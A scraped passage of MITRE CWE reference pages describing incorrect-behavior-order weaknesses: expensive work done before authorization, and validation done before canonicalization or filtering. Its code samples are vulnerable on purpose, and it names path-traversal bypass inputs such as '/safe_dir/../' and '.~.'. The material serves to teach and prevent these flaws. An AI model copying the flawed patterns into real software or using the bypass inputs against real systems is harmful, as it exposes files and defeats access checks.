updated Relationships, Taxonomy_Mappings, Type
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Relationships
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Authentication Before Parsing and Canonicalization

CWE-408: Incorrect Behavior Order: Early Amplification

Weakness ID: 408
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.405Asymmetric Resource Consumption (Amplification)
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.696Incorrect Behavior Order
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.438Behavioral Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Amplification; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.
+ Demonstrative Examples

Example 1

This function prints the contents of a specified file requested by a user.

(bad code)
Example Language: PHP 
function printFile($username,$filename){

//read file into string
$file = file_get_contents($filename);
if ($file && isOwnerOf($username,$filename)){
echo $file;
return true;
}
else{
echo 'You are not authorized to view this file';
}
return false;
}

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

+ Observed Examples
ReferenceDescription
Tool creates directories before authenticating user.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Overlaps authentication errors.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEREarly Amplification
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description
2010-06-21CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Early Amplification

CWE-179: Incorrect Behavior Order: Early Validation

Weakness ID: 179
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.
+ Extended Description
Product needs to validate data at the proper time, after data has been canonicalized and cleansed. Early validation is susceptible to various manipulations that result in dangerous inputs that are produced by canonicalization and cleansing.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.696Incorrect Behavior Order
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.180Incorrect Behavior Order: Validate Before Canonicalize
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.181Incorrect Behavior Order: Validate Before Filter
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1215Data Validation Issues
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.438Behavioral Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationSince early validation errors usually arise from improperly implemented defensive mechanisms, it is likely that these will be introduced more frequently as secure programming becomes implemented more widely.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Integrity

Technical Impact: Bypass Protection Mechanism; Execute Unauthorized Code or Commands

An attacker could include dangerous input that bypasses validation protection mechanisms which can be used to launch various attacks including injection attacks, execute arbitrary code or cause other unintended behavior.
+ Demonstrative Examples

Example 1

The following code attempts to validate a given input path by checking it against an allowlist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

(bad code)
Example Language: Java 
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
File f = new File(path);
return f.getCanonicalPath();
}

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of "/safe_dir/../" that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonicized the path would become just "/".

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

(good code)
Example Language: Java 
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
return f.getCanonicalPath();
}

Example 2

This script creates a subdirectory within a user directory and sets the user as the owner.

(bad code)
Example Language: PHP 
function createDir($userName,$dirName){
$userDir = '/users/'. $userName;
if(strpos($dirName,'..') !== false){
echo 'Directory name contains invalid sequence';
return;
}
//filter out '~' because other scripts identify user directories by this prefix
$dirName = str_replace('~','',$dirName);
$newDir = $userDir . $dirName;
mkdir($newDir, 0700);
chown($newDir,$userName);
}

While the script attempts to screen for '..' sequences, an attacker can submit a directory path including ".~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

+ Observed Examples
ReferenceDescription
Product allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character.
Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension.
Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks.
Overlaps "fakechild/../realchild"
Product checks URI for "<" and other literal characters, but does it before hex decoding the URI, so "%3E" and other sequences are allowed.
Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.
Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

These errors are mostly reported in path traversal vulnerabilities, but the concept applies whenever validation occurs.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEREarly Validation Errors
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Escaping Metacharacters", Page 439. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Relationships
2010-06-21CWE Content TeamMITRE
updated Research_Gaps
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Early Validation Errors

CWE-180: Incorrect Behavior Order: Validate Before Canonicalize

Weakness ID: 180
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product validates input before it is canonicalized, which prevents the product from detecting data that becomes invalid after the canonicalization step.
+ Extended Description
This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.179Incorrect Behavior Order: Early Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

The following code attempts to validate a given input path by checking it against an allowlist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

(bad code)
Example Language: Java 
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
File f = new File(path);
return f.getCanonicalPath();
}

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of "/safe_dir/../" that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonicized the path would become just "/".

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

(good code)
Example Language: Java 
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
return f.getCanonicalPath();
}

+ Observed Examples
ReferenceDescription
Product allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character.
Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension.
Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks.
Overlaps "fakechild/../realchild"
Product checks URI for "<" and other literal characters, but does it before hex decoding the URI, so "%3E" and other sequences are allowed.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1134SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This overlaps other categories.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERValidate-Before-Canonicalize
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
The CERT Oracle Secure Coding Standard for Java (2011)IDS01-JExactNormalize strings before validating them
SEI CERT Oracle Coding Standard for JavaIDS01-JExactNormalize strings before validating them
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Type
2008-10-14CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Functional_Areas
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Relationships, Type
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Validate-Before-Canonicalize

CWE-181: Incorrect Behavior Order: Validate Before Filter

Weakness ID: 181
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product validates data before it has been filtered, which prevents the product from detecting data that becomes invalid after the filtering step.
+ Extended Description
This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.
+ Alternate Terms
Validate-before-cleanse
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.179Incorrect Behavior Order: Early Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

This script creates a subdirectory within a user directory and sets the user as the owner.

(bad code)
Example Language: PHP 
function createDir($userName,$dirName){
$userDir = '/users/'. $userName;
if(strpos($dirName,'..') !== false){
echo 'Directory name contains invalid sequence';
return;
}
//filter out '~' because other scripts identify user directories by this prefix
$dirName = str_replace('~','',$dirName);
$newDir = $userDir . $dirName;
mkdir($newDir, 0700);
chown($newDir,$userName);
}

While the script attempts to screen for '..' sequences, an attacker can submit a directory path including ".~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

+ Observed Examples
ReferenceDescription
Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.
Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.
+ Potential Mitigations

Phases: Implementation; Architecture and Design

Inputs should be decoded and canonicalized to the application's current internal representation before being filtered.
+ Functional Areas
  • Protection Mechanism
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

This category is probably under-studied.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERValidate-Before-Filter
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Functional_Areas, Relationships, Research_Gaps, Taxonomy_Mappings, Type
2008-10-14CWE Content TeamMITRE
updated Description
2010-06-21CWE Content TeamMITRE
updated Description, Observed_Examples
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Relationships, Type
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Validate-before-filter

CWE-483: Incorrect Block Delimitation

Weakness ID: 483
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
